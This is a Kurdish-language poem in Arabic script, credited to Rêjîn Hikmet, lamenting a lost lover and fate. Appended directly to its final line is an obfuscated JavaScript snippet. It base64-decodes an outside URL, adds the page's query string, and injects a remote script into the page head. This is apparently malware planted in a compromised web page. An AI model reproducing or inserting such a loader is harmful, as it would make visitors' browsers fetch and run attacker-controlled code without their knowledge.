نڤیسەرا قەدەرێ
رێژین حكمەت
ئەڤرۆ دناڤ كۆلانێن زاخۆكێدا
بێ دەنگییەك سەیرە
ل تاریا نیڤە شەڤان
ڤی پێنووسی وێنەیێن تە یێن ب شعێرێن من چێكرین
هزرێن تە
تەوافا خەیالێن من دكرن
من گازندە ژ قەدەرێ دكرن
هەمی تشتان نەخۆشی بۆ من چێدكر
بەلێ دیتنا تە چەند جار با، هەر خۆشی بۆ من پەیداكر
ئەگەر دلێ من باخڤیت
ب شكەستنا خۆ دێ بۆ تە چ بێژیت؟!
چیرۆكا مە سەر ب پایزەكا زەرە
ژ زڤستانەكا سارە
زیندانەكا تەنگ و تاریە
دنیایەك بێ دین و یمانە
جیهانەك درەوینە
هەستێن من یێن مرینە..
تو دزانی تە ئەز دین و هاركرم
بێ كەس و بێ خودان كرم
قەدەرا مە ئێك بوو
بەلێ تە چوونا خۆ كرە قەدەر
هەوارێن من
د حەفكا من دا ئاسێ نە
دەوروبەر ژی د ئێشانا من ناگەهن..
چیرۆكا تە ل گەل من ببوو
هەبوون و نەبوون
هەردەم ئەز هەبووم
تو نەبوویی
من تو كربوویە
لاپەرێن پەرتووكەكێ
هەمی دەما پێنووسێ من ناڤێ تە ل سەر د نەخشاند
ئەو پەیڤێن من ل سەر دنڤیسین
ل بەر پێلێن ڕۆندكێن من نقووم بوون
ل گەل خۆ برن
پێنووسێ من ژی ژ چاڤەرێ بوونێ وەستیا
دەم نەما ناڤێ تە ب نەخشینیت..
د هەرە
پرسیار ژ وی ڕیباری بكە یێ د بەر دەرگەهێ مالا مەڕا دبۆریت
دێ بێژیتە تە
كا چاوا من ئەو ڕیبار ب ڕۆندكێن خۆ یێ دروستكرە؟!
هەرە پرسیار
ژ وان هەیڤ و ستێران بكە
یێن من شەڤ ل بەر كرینە سپێدە
دێ بێژنە تە
كا من چەند خەم بۆ تە خوارنە؟!
دێ هەرە ڕێیا تە ڤەكریە
پرسیار ژ وان پێلێن دەریا بكە
دێ بێژنە تە
كا چاوا ل گەل هەر پێلەكێ
پارچەك ژ جانێ من ڤەدبوو
كەزیێن سپی یێن ل سەر ملێ من
خەتێن ل ئەنیا من
پشتخواربوونا من
ل بەر ڤێ پەنجەرێ
یێ گازی تە دكەن
دبێژن: خەما نەخۆ
من تێرا مە هەردو یان خەم یێن خوارین
د چیروكێدا ئەز هەبووم
تو نەبوویی
تە گۆت ئەڤە قەدەربوو!
خودێ یا بۆ مە نڤیسی!
ئەز ژی دبێژم: ئەم نڤیسەرێن قەدەرا خۆ نە.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
